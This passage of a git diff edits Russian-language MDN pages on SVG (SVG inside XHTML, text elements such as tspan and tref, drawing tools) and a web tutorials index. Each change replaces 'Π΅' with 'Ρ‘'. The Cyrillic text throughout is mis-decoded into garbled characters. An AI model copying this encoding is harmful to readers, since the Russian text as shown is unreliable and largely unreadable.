-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ прСдставлСн обычный XHTML, CSS ΠΈ JavaScript ΠΊΠΎΠ΄. Π—Π΄Π΅ΡΡŒ Π΅ΡΡ‚ΡŒ лишь ΠΎΠ΄Π½Π° ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ, это Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ SVG элСмСнта. Π­Ρ‚ΠΎΡ‚ элСмСнт объявлСн Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌ пространствС ΠΈΠΌΠ΅Π½ SVG, содСрТит Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈ Π΄Π²Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌ. По замыслу, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²Π΅Π΄Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅, Ρ‚ΠΎ скрипт установит для BODY класс .invalid, Π³Π΄Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° стиля ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Ρ†Π²Π΅Ρ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ сообщСниС ΠΎΠ± ошибкС.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ прСдставлСн обычный XHTML, CSS ΠΈ JavaScript ΠΊΠΎΠ΄. Π—Π΄Π΅ΡΡŒ Π΅ΡΡ‚ΡŒ лишь ΠΎΠ΄Π½Π° ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ, это Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ SVG элСмСнта. Π­Ρ‚ΠΎΡ‚ элСмСнт объявлСн Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌ пространствС ΠΈΠΌΡ‘Π½ SVG, содСрТит Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈ Π΄Π²Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌ. По замыслу, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²Π΅Π΄Ρ‘Ρ‚ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅, Ρ‚ΠΎ скрипт установит для BODY класс .invalid, Π³Π΄Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° стиля ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Ρ†Π²Π΅Ρ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ сообщСниС ΠΎΠ± ошибкС.</p>
<p>Π’Π°ΠΊΠΎΠΉ способ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ Π² свою ΠΏΠΎΠ»ΡŒΠ·Ρƒ:</p>
@@ -98,7 +98,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
<p><code>slice </code>- Ρ‚ΠΎΠΆΠ΅ сохраняСт ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, Π½ΠΎ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎ максимальной Π³Ρ€Π°Π½ΠΈΡ†Π΅ области просмотра, обрСзая Ρ‡Π°ΡΡ‚ΡŒ изобраТСния, которая Π½Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΠ»Π°ΡΡŒ Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ</p>
-<p>Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ спСцификатор <code>none ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Β ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΏΡƒΡ‚Π΅ΠΌ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ сторон, Π½Π΅ сохраняя ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈΒ (растянСт).</code></p>
+<p>Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ спСцификатор <code>none ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Β ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ сторон, Π½Π΅ сохраняя ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈΒ (растянСт).</code></p>
<pre class="brush: html"> preserveAspectRatio="none"</pre>
@@ -109,7 +109,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
<ul>
<li>Π‘ΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΉΒ <a href="http://xiper.net/learn/svg/svg-essentials/preserving-aspect-ratio">ссылка</a></li>
<li>ΠœΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ сдвиг <a href="https://msdn.microsoft.com/ru-ru/library/gg589508(v=vs.85).aspx">msdn.microsoft</a></li>
- <li>Π•Ρ‰Π΅ SVG Π² XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a></li>
+ <li>Π•Ρ‰Ρ‘ SVG Π² XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a></li>
</ul>
<p>Β </p>
diff --git a/files/ru/web/svg/tutorial/texts/index.html b/files/ru/web/svg/tutorial/texts/index.html
index 1083b55a4d..a4e0a76305 100644
--- a/files/ru/web/svg/tutorial/texts/index.html
+++ b/files/ru/web/svg/tutorial/texts/index.html
@@ -38,22 +38,22 @@ translation_of: Web/SVG/Tutorial/Texts
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>tspan</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹:<br>
<br>
<strong>x</strong><br>
- Π—Π°Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρƒ ΠΏΠΎ Π₯ (Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΌΡƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π² CSS) для Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ тСкста. Π§Ρ‚ΠΎ пСрСзаписываСт, ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ. Атрибут ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ символу <code>tspan</code>.</p>
+ Π—Π°Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²ΡƒΡŽ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρƒ ΠΏΠΎ Π₯ (Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΌΡƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π² CSS) для Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ тСкста. Π§Ρ‚ΠΎ пСрСзаписываСт, ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ. Атрибут ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ символу <code>tspan</code>.</p>
<p><strong>dx</strong><br>
- Π—Π°Π΄Π°Π΅Ρ‚ смСщСниС ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ <code>dx</code>Β ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ символу, устанавливая смСщСниС ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ.</p>
+ Π—Π°Π΄Π°Ρ‘Ρ‚ смСщСниС ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ <code>dx</code>Β ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ символу, устанавливая смСщСниС ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ.</p>
<p>Аналогично, для Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ пСрСмСщСния тСкста ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ <strong>y</strong> ΠΈ <strong>dy</strong> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹.<br>
<br>
<strong>rotate</strong><br>
- ΠŸΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ символ Π½Π° Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΡƒΠ³ΠΎΠ». Атрибуту ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ символам. Если количСство чисСл Π² Π½Π°Π±ΠΎΡ€Π΅ мСньшС Ρ‡Π΅ΠΌ количСство Π±ΡƒΠΊΠ², Ρ‚ΠΎ ΡƒΠ³ΠΎΠ» для всСх ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ символов Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ послСднСму Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π² Π½Π°Π±ΠΎΡ€Π΅.<br>
+ ΠŸΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ символ Π½Π° Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΡƒΠ³ΠΎΠ». Атрибуту ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ символам. Если количСство чисСл Π² Π½Π°Π±ΠΎΡ€Π΅ мСньшС Ρ‡Π΅ΠΌ количСство Π±ΡƒΠΊΠ², Ρ‚ΠΎ ΡƒΠ³ΠΎΠ» для всСх ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ символов Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ послСднСму Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π² Π½Π°Π±ΠΎΡ€Π΅.<br>
<br>
<strong>textLength</strong><br>
- Атрибут строго Π·Π°Π΄Π°Π΅Ρ‚ Π΄Π»ΠΈΠ½Ρƒ строки. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΌΠΎΠ³ Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π³Π»ΠΈΡ„ΠΎΠ², ΠΊΠΎΠ³Π΄Π° измСрСнная Π΄Π»ΠΈΠ½Π° тСкста Π½Π΅ соотвСтствуСт Ρ‚ΠΎΠΉ, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π° Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅.</p>
+ Атрибут строго Π·Π°Π΄Π°Ρ‘Ρ‚ Π΄Π»ΠΈΠ½Ρƒ строки. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΌΠΎΠ³ Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π³Π»ΠΈΡ„ΠΎΠ², ΠΊΠΎΠ³Π΄Π° измСрСнная Π΄Π»ΠΈΠ½Π° тСкста Π½Π΅ соотвСтствуСт Ρ‚ΠΎΠΉ, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π° Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅.</p>
<h3 id="tref">tref</h3>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>tref</code> позволяСт ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСкст, эффСктивно копируя Π΅Π³ΠΎ Π½Π° своС мСсто. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>xlink:href</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°  элСмСнт, тСкст ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ скопирован. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ стили ΠΈ внСшний Π²ΠΈΠ΄ нСзависимо ΠΎΡ‚ источника.Β </p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>tref</code> позволяСт ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСкст, эффСктивно копируя Π΅Π³ΠΎ Π½Π° своё мСсто. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>xlink:href</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°  элСмСнт, тСкст ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ скопирован. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ стили ΠΈ внСшний Π²ΠΈΠ΄ нСзависимо ΠΎΡ‚ источника.Β </p>
<pre class="brush:xml">&lt;text id="example"&gt;This is an example text.&lt;/text&gt;
diff --git a/files/ru/web/svg/tutorial/tools_for_svg/index.html b/files/ru/web/svg/tutorial/tools_for_svg/index.html
index 97a63678a3..3962c6a5fe 100644
--- a/files/ru/web/svg/tutorial/tools_for_svg/index.html
+++ b/files/ru/web/svg/tutorial/tools_for_svg/index.html
@@ -17,7 +17,7 @@ translation_of: Web/SVG/Tutorial/Tools_for_SVG
<p>ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² инструмСнтарии ΠΏΡ€ΠΈΠ»ΠΈΡ‡Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. Inkscape ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, SVG являСтся Π΅Π΅ Ρ€ΠΎΠ΄Π½Ρ‹ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ. Для хранСния спСцифичных для Inkscape Π΄Π°Π½Π½Ρ‹Ρ…, Ρ„Π°ΠΉΠ» SVG Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ΡΡ элСмСнтами ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ пространствС ΠΈΠΌΠ΅Π½, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΌΠ΅ΡˆΠ°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ экспорт ΠΈ Π² Π²ΠΈΠ΄Π΅ простого SVG.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, SVG являСтся Π΅Ρ‘ Ρ€ΠΎΠ΄Π½Ρ‹ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ. Для хранСния спСцифичных для Inkscape Π΄Π°Π½Π½Ρ‹Ρ…, Ρ„Π°ΠΉΠ» SVG Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ΡΡ элСмСнтами ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ пространствС ΠΈΠΌΡ‘Π½, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΌΠ΅ΡˆΠ°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ экспорт ΠΈ Π² Π²ΠΈΠ΄Π΅ простого SVG.</p>
<h2 id="Adobe_Illustrator">Adobe Illustrator</h2>
diff --git a/files/ru/web/tutorials/index.html b/files/ru/web/tutorials/index.html
index 2079a9e828..1725d6c1d9 100644
--- a/files/ru/web/tutorials/index.html
+++ b/files/ru/web/tutorials/index.html
@@ -35,7 +35,7 @@ translation_of: Web/Tutorials
<dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 Tutorials</a> (HTML5 Rocks)</dt>
<dd><span id="result_box" lang="ru"><span class="hps">Π‘ΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚Π΅ ΡΠΊΡΠΊΡƒΡ€ΡΠΈΡŽ</span> <span class="hps">Π² ΠΊΠΎΠ΄</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚</span> <span class="hps">возмоТности HTML5</span><span>.</span></span></dd>
<dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semantics in HTML5</a> (A List Apart)</dt>
- <dd>Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ, Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡƒΡŽ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠ΅ измСнСния (ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π²ΠΏΠ΅Ρ€Π΅Π΄).</dd>
+ <dd>Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ, Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡƒΡŽ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠ΅ измСнСния (ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π²ΠΏΠ΅Ρ€Ρ‘Π΄).</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Tutorial</a></dt>
<dd>Π£Π·Π½Π°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ скриптов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ элСмСнт <code>canvas</code>.</dd>
<dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt>
@@ -73,7 +73,7 @@ translation_of: Web/Tutorials
<dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt>
<dd>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² основы шаблонов проСктирования JavaScript.</dd>
<dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">The JavaScript Programming Language</a> (YUI Blog)</dt>
- <dd>Douglas Crockford исслСдуСт язык, ΠΊΠ°ΠΊΠΎΠΉ ΠΎΠ½ Π΅ΡΡ‚ΡŒ сСгодня, ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΏΡ€ΠΈΡˆΠ΅Π», Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ.</dd>
